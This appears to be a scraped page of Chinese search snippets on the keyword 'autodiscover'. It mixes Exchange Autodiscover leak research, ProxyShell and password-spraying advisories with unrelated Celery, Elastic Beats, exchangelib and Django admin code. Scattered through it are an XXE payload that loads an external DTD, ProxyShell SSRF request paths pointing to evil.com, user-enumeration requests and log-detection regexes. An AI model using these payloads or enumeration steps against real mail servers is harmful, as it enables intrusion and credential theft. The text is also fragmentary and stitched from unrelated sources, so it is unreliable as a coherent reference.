/Autodiscover.xml http://Autodiscover.example.com/Autodiscover/Autodiscover.xml https://example.com/Autodiscover /Autodiscover.xml http://example.com/Autodiscover/Autodiscover.xml 如果这些URL都没有响应,Autodiscover将启动其“back-off “back-off”机制正是这次造成漏洞的罪魁祸首,失败后下一次构建的URL将是:http://Autodiscover.com/Autodiscover/Autodiscover.xml,因此拥有Autodiscover.com 漏洞复现 研究人员购买了以下域名: Autodiscover.com.br–巴西 Autodiscover.com.cn–中国 Autodiscover.com.co–哥伦比亚 Autodiscover.es –西班牙 Autodiscover.fr–法国 Autodiscover.in–印度 Autodiscover.it–意大利 Autodiscover.sg–新加坡 Autodiscover.uk–英国
Guardicore 发现的弱点在于基于POX(又名“plain old XML”)XML 协议的 Autodiscover 的特定实现,该实现导致对 Autodiscover 域的 Web 请求泄漏到用户域之外但在同一顶级域中 /Autodiscover/Autodiscover.xml https://Autodiscover.example.com/Autodiscover/Autodiscover.xml https:/ /example.com/Autodiscover/Autodiscover.xml https://example.com/Autodiscover/Autodiscover.xml “这种‘退避’机制是这次泄漏的罪魁祸首 “意思是,下一次尝试构建自动发现 URL 的结果将是:'https://Autodiscover.com/Autodiscover/Autodiscover.xml。' 有了这一发现,并通过将许多 Autodiscover 顶级域(例如 Autodiscover.com[.]br、Autodiscover.com[.]cn、Autodiscover[.]in 等)注册为蜜罐
服务,获取legacyDn /autodiscover/autodiscover.json? a=ktacz@ygjnt.jzk/autodiscover/autodiscover.xml POST https://192.168.114.12/autodiscover/autodiscover.json Cookie: Email=autodiscover/autodiscover.json? /autodiscover.json? /autodiscover.json?
代码 编辑etcman/celery.py,新增代码 #周期执行 app.conf.beat_schedule = { #'project-autodiscover-host-task-every -60-minutes': { # 'task': 'project.tasks.project_autodiscover_host_task', # 'schedule': timedelta(minutes=60), #}, 'project-autodiscover-host-task-every-2-hours': { 'task': 'project.tasks.project_autodiscover_host_task', 'schedule': timedelta(hours=2), }, ' monitor-autodiscover-open-ports-task-every-6-hours': { 'task': 'monitor.tasks.monitor_autodiscover_open_ports_task
枚举 Autodiscover 节点允许我们在不需要进行认证尝试的情况下实现用户枚举,如果目标用户存在,该节点将返回200状态码,如果用户不存在,则返回302状态码。 现有账号 GET /autodiscover/autodiscover.json/v1.0/existing@contoso.com? /autodiscover.xml"} 不存在的用户 GET /autodiscover/autodiscover.json/v1.0/nonexistent@contoso.com? /autodiscover.json? /autodiscover.json?
/autodiscover/autodiscover.xml" ? Set-CsOAuthConfiguration -Identity global -ExchangeAutodiscoverUrl "https://autodiscover.yangqs.com/autodiscover /autodiscover.svc" ? /autodiscover/metadata/json/1" ? Full -MetadataUrl "https://autodiscover.yangqs.com/autodiscover/metadata/json/1" ?
功能和服务 Autodiscover Autodiscover,自动发现,是exchange server 2007 推出的一个服务。 setspn -q */* 特殊域名 https://autodiscover.domain.com/autodiscover/autodiscover.xml https://owa.domian/ /Autodiscover.xml /Autodiscover /Exchange /Rpc /EWS/Exchange.asmx /EWS/Services.wsdl /EWS /ecp /OAB / 常见可爆破接口 /Autodiscover/Autodiscover.xml # 自 Exchange Server 2007 开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置 爆破的原理是,访问autodiscover时浏览器会弹出认证框,当输入正确的凭证后则会显示XML文档内容。
/Autodiscover.xml 。 <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> </Request> </Autodiscover> ? DOCTYPE Autodiscover [ <! ENTITY % dtd SYSTEM "http://地址/dtd"> %dtd; %all; ]> <Autodiscover xmlns="http 接着放到重放去,修改请求方式为POST,并且带入URL :/Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。 ?
当用户访问受限资源时,服务器会返回401状态码要求进行身份认证,身份认证成功之后会进行6个请求,首先请求了 autodiscover/autodiscover.xml 页面,接着在获取了对应邮箱的 MailboxId username user3 --email user3@internet.local homepage display Password: [+] Retrieving MAPI/HTTP info [*] Autodiscover step 2 - URL: https://internet.local/autodiscover/autodiscover.xml [*] MAPI URL found: https://exchange2016 /autodiscover.xml 进行认证,获取userDN。 connect getMapiHTTP MAPIDiscvoer autodiscover get userDN, userDN是用来认证登录的 调用 mapi.Authenticate 与Exchange
微软 Exchange 曝出安全漏洞,可获取全球 Windows 域和应用凭证 该漏洞存在于 Exchange 电子邮件服务器的 Autodiscover 协议中,允许电子邮件客户自动发现电子邮件服务器 为了获得这些自动配置,电子邮件客户通常会探测一系列预先确定的 URL,这些 URL 中采用客户域名和 autodiscover 等关键字组合而成。 然而问题就在这里,在找不到这些预制域名时,Exchange 客户端会寻找 autodiscover.com、autodiscover.com.cn 等域名。
报告称,“DEV-0343攻击者通常针对两个Exchange端点:Autodiscover和ActiveSync,将这两个端点作为枚举和密码喷洒的工具,验证活跃账户和密码,并进一步完善其密码喷射攻击。” 微软建议企业自查日志中有无以下活动,以确定其基础设施是否被攻击: 来自Tor IP地址的密码攻击流量 在密码喷射活动中模拟FireFox(最常见)或Chrome浏览器 枚举Exchange ActiveSync(最常见)或Autodiscover 端点 使用类似于 “o365spray “工具的枚举/密码喷射工具 使用Autodiscover来验证账户和密码 观察到的密码喷洒活动通常在UTC 4:00:00和11:00:00之间达到高峰 以下是微软分享的缓解
client-developer/web-service-reference/ews-reference-for-Exchange 默认该接口需要鉴权: 尝试利用上述SSRF去访问,以Proxyshell触发点为例: GET /autodiscover /autodiscover.json? X-Rps-CAT=&Email=autodiscover/autodiscover.json?
为了给代理提供这些信息,我们帮助丰富了 Beats 平台的功能,为的是可以执行一个叫做“基于线索的 autodiscover”的任务。 考虑到每个端点都可能有动态需求,如不同的处理方式和抓取间隔,我们增强了 autodiscover,让它可以接受多组配置。 为了避免重启所有的 Pod,我们添加了 autodiscover 支持,以便可以额外查看命名空间级的注解。 经过进一步的评估,我们决定将 Autodiscover 移出代理并实现它自己的控制循环。 每个需要抓取指标的 Pod 都有一个局部管道,由 Autodiscover 控制器生成并推送到收集器。
登录邮箱编码还是比较简单的: credentials = Credentials('域名\用户名', '密码') account = Account('邮箱', credentials=credentials, autodiscover Account( primary_smtp_address='zhoumingkang@cedarhd.com', credentials=creds, autodiscover
漏洞信息 - 在向客户提供 SOC 服务时,GTSC Blueteam 在 IIS 日志中检测到与 ProxyShell 漏洞格式相同的利用请求:autodiscover/autodiscover.json @evil.com/&Email=autodiscover/autodiscover.json %3f@evil.com。还检查了其他日志,我们看到攻击者可以在被攻击的系统上执行命令。 *autodiscover\.json.*\@. *autodiscover\.json.*\@.*200 方法二:使用GTSC开发的工具:基于exploit签名,我们构建了一个搜索工具,搜索时间比使用powershell要短得多.
登录邮箱编码还是比较简单的: credentials = Credentials('域名\用户名', '密码') account = Account('邮箱', credentials=credentials, autodiscover = ServiceAccount(username='域名\用户名', password='密码') account = Account('邮箱', credentials=credentials, autodiscover = ServiceAccount(username='域名\用户名', password='密码') account = Account('邮箱', credentials=credentials, autodiscover
Scanning host (autodiscover.dummyexchangetarget.com) [+] IIS server detected (https://autodiscover.dummyexchangetarget.com Exchange Identified [+] Microsoft Exchange identified with the following details: Domain Found : https://autodiscover.dummyexchangetarget.com Exchange version : Exchange Server 2016 CU22 Nov21SU Login page : https://autodiscover.dummyexchangetarget.com
Python代码 # NEW: from django.conf.urls.defaults import * from django.contrib import admin admin.autodiscover
delete_selected_confirmation_template=None object_history_template=None 三、admin源码解读 1,启动所有app的admin.py文件 def autodiscover (): autodiscover_modules('admin', register_to=site) 2,注册模型类 class BookAdmin(admin.ModelAdmin):
include, url # Uncomment the next two lines to enable the admin: from django.contrib import admin admin.autodiscover